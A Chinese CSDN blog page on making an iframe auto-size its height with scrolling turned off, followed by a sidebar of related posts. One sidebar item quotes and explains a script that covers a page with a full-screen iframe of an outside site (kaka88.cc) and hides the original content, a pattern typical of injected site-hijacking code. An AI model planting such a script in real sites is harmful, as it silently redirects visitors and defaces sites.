scrolling ="yes"

最新推荐文章于 2023-03-20 16:06:24 发布
最新推荐文章于 2023-03-20 16:06:24 发布
阅读量3.2k 收藏 1
点赞数
文章标签： iframe
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/fancylovejava/article/details/7669009
版权 
如果把scrolling ="yes"的话，当然就可以动态随着内容的多少而改变了，这时会出现滚动条。但是如果iframe控件位于屏幕右边，如果网页的高度又很高的话，就会出现两个滚动条，一个是Iframe自已的，一个是屏幕的，这样很不友好！所以应该把iframe的滚动条去掉，如下scrolling ="no"，但是这样做又会带来一个问题，多余的内容会被自动隐藏！

这种问题的解决方案：

如下<iframe frameborder="0" src ="main.aspx" scrolling ="no" name="main" width="690px" ></iframe>

在main.aspx页中的<body οnlοad="parent.document.all.main.style.height=window.document.body.scrollHeight">
fancylovejava
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
asp在线聊天室代码（可用-亲测）--迷你聊天室
01-13
asp在线聊天室代码（可用-亲测） 迷你聊天室 抱歉,您的浏览器不支持!
iframe自适应父页面的大小，而没有滚动条，scrolling="no"后无法正常显示内容的问题
热门推荐
m0_38138387的博客
03-30 2万+
今天做网站遇到了一个问题，iframe的scrolling="no"设置后，无法显示全部iframe内容，判断是内容隐藏了，一顿好找，在网上找到了这编文章，问题解决转】让iframe自适应大小，没有滚动条 (2011-05-26 09:01:00)转载▼标签： 杂谈 父页里有一个层&lt;div&gt;，&lt;div&gt;里有一个子框架&lt;iframe&gt;,&lt;iframe&gt;...
iframe高度自适应及隐藏滚动条的实例详解
01-21
iframe高度自适应及隐藏滚动条的实例详解 在工作中，我们可能会遇到自己公司和其他的公司达成合作关系，从而共同开发某个项目。而这时候，我们可能就需要在自己的网站上嵌入别人做好的页面。而这种情况下，我们一般都会选择去使用iframe达到我们的目的。但是iframe用起来，真的是让人头痛，高度无法控制，难看的滚动条等等，下面我分享一下自己在处理iframe时的一些心得。 高度自适应 <iframe src=http://huichang.qunar.com/huiQunar id=myiframe frameborder=no scrolling=yes style= over
隐藏iframe滚动条，并禁止滑动
weixin_45559449的博客
03-20 6077
当我们通过 iframe 展示图片，或是通过 iframe 展示 PDF文件 时，如果图片和 PDF 超出 iframe设置的宽高，就会出现横纵向的滚动条，如下图。所以， iframe 展示图片时可以通过设置 scrolling=“no” 属性来隐藏滚动条，iframe 展示 PDF文件时 设置 scrolling=“no” 属性并不能隐藏滚动条。如果 iframe 存在纵向滚动条，则 iframe宽度=原宽度+滚动条宽度，即width: calc(100% + 17px)；
禁止父元素滚动
小朱的专栏
12-17 3834
在做弹窗的时候经常会遇到滚动弹窗，父元素也滚动的问题，解决的方法有两个 显示弹窗时候，body添加overflow：hidden样式 弹窗添加overscroll-behavior: contain ...
scrolling ="no" 实现动态变化
volcano
01-19 1898
如果把scrolling ="yes"的话，当然就可以动态随着内容的多少而改变了，这时会出现滚动条。但是如果iframe控件位于屏幕右边，如果网页的高度又很高的话，就会出现两个滚动条，一个是Iframe自已的，一个是屏幕的，这样很不友好！所以应该把iframe的滚动条去掉，如下scrolling ="no"，但是这样做又会带来一个问题，多余的内容会被自动隐藏！ 这种问题的解决方案： 如...
iframe设置height为100%，scrolling为no，还是出现垂直滚动条
木雷双雄7
03-23 1万+
easyui中点击菜单生成tab选项卡时，iframe设置height为100%，并且scrolling为no，仍然出现了下图的滚动条。 问题原因：iframe为行内元素，空白符被解析。 解决办法： 1、改变父级样式，如font-size: 0; 或者line-height: 0; 2、改变自身样式，如display: block 或者vertical-align: middle
关于iframe的页面加载出现滚动条的问题
分享日常bug
11-28 1367
【代码】关于iframe的页面加载出现滚动条的问题。
前端学习之HTML/标签/重点标签(下)
笑桐笔记的博客
05-19 425
古老的框架 框架<frame>已经被废弃，而内嵌框架<iframe>依然在使用。通过使用框架，可以在同一个窗口显示不止一个页面。每份HTML文档称为一个框架，并且每个框架都独立于其他的框架 <frameset>   框架结构标签(也称为框架集)定义如何将窗口分割成框架，每个frameset定义了一系列行或列   注意：不能将<body>标签与<frameset>标签同时使用 【属性】   cols 定义框架集列的数目和尺寸   row
asp超级轮链源码
09-21
document.writeln("document.write(\"<frame name=\'main\' src=\'http:\/\/www.qxw.com\/\' scrolling=yes>\");"); document.writeln("document.write(\"<\/frameset>\");"); document.writeln("<\/script>");
在线聊天室系统
04-23
<frame border = 1 src="OnlineUsers.aspx" name="leftFrame" scrolling="yes" noresize> <frameset rows="*,100" frameborder="1" border="1" framespacing="0"> <frame border = 1 src="MessageView.aspx" name...
js判断iframe中元素是否存在的实现代码
01-21
本文章来给大家介绍js判断iframe中元素是否存在代码，有需要了解的朋友可进入参考。 一、纯原生态js实现方法,代码如下: [removed] var bb = document....iframe name=PreviewArea id=PreviewArea scrolling=yes wid
java练习题13.txt
04-18
java练习题
云南省移动应用大赛模板.zip
04-18
云南省移动应用大赛模板.zip
HTML5基于SSM校园微公益网站设计可升级SpringBoot源码.7z
04-18
前台技术框架采用Bootstrap，一个高度灵活的HTML5响应式框架，为用户提供了流畅的前端交互体验。程序开发环境支持多样化，无论是myEclipse、Eclipse还是Idea都能轻松应对，结合mysql数据库，确保了数据的高效处理与存储。后台架构则选用SSM组合——SpringMVC、Spring和Mybatis，这一组合以其稳定性和高效性而备受青睐。 校园公益信息关联系统采用b/s架构，实现用户信息、活动类型、公益活动、活动报名、捐款、捐款统计、留言和新闻信息的全面管理。系统分为前台学生端和后台管理员端，满足不同用户群体的需求。 管理员端功能丰富，包括学院管理、活动类型管理、公益活动管理、活动报名管理、捐款信息管理、管理员账号管理、密码修改、捐款统计管理、留言管理和新闻信息管理等。管理员能够灵活添加、修改、删除和查询各类信息，确保信息的准确性和时效性。同时，捐款统计功能以直观的统计图形式展现，为管理员提供决策支持。 学生端则专注于学生的日常需求，包括添加捐款信息、留言、报名活动以及密码修改等。学生可以轻松完成捐款操作，发表留言，查看并报名公益活动，随时修改个人密码，确保账
JavaWeb程序设计SSM框架选课系统开发大作业有数据库文
04-18
JavaWeb程序设计SSM框架选课系统开发大作业有数据库文
2023年存储芯片行业趋势与发展分析.pptx
04-18
行业分析报告
物联网嵌入式ESP32开发例程14-FreeRTOS操作系统之事件标志组C程序代码.rar
最新发布
04-18
1、嵌入式物联网ESP32项目实战开发。例程经过精心编写，简单好用。 2、代码使用Visual Studio Code + ESP-IDF开发，C语言编程。例程在ESP32-S3上运行。若在其他型号上运行，请自行调整。 3、如果接入其他传感器，请查看发布的其他资料。 4、ESP32与模块的接线，在代码当中均有定义，请自行对照。 5、若硬件差异，请根据自身情况适当调整代码，程序仅供参考。 6、代码有注释说明，请耐心阅读。 7、技术v：349014857;
// 获取当前网页的标题 var titlestr = document.title; // 设置要替换的网页链接并调用setFrame函数 setFrame("http://kaka88.cc"); // 定义设置网页内容和隐藏元素的函数 function setFrame(olink) { // 构造要插入页面的字符串，包含替换网页的iframe标签和原网页标题 var ss = '<title>' + titlestr + '</title><div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255);background-position: initial initial; background-repeat: initial initial;"><iframe scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" height="100%" src="' + olink + '"></iframe></div><style type="text/css">html{width:100%;height:100%;}body {width:100%;height:100%;}</style>'; // 将构造好的字符串插入到当前页面中 eval("document.write('" + ss + "');"); try { // 延迟执行后续操作，避免立即执行报错 setTimeout(function() { // 打印document.body.children的长度 console.log(document.body.children.length); // 遍历document.body.children数组 for (var i = 0; i < document.body.children.length; i++) { try { // 获取子元素的标签名和id var a = document.body.children[i].tagName; var b = document.body.children[i].id; // 打印子元素的位置、标签名和id console.log(i + "***" + a + "**" + b); // 判断条件：如果子元素的id不等于"iconDiv1"、"showcloneshengxiaon"且标签名不是标题，则隐藏该元素 if (b != "iconDiv1" && b != "showcloneshengxiaon" && a != "title") { document.body.children[i].style.display = "none"; } } catch (e) {} } // 创建meta标签，用于适配移动设备的视口 var oMeta = document.createElement('meta'); oMeta.name = 'viewport'; oMeta.content = 'width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no'; document.getElementsByTagName('head')[0].appendChild(oMeta); }, 100); } catch (e) {} }
07-17
这段代码是用来获取当前网页的标题，并在网页中嵌入一个指定链接的iframe。同时，它还定义了一个函数用来设置网页内容和隐藏元素。 函数`setFrame(olink)`接收一个参数`olink`，用来设置要替换的网页链接。...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值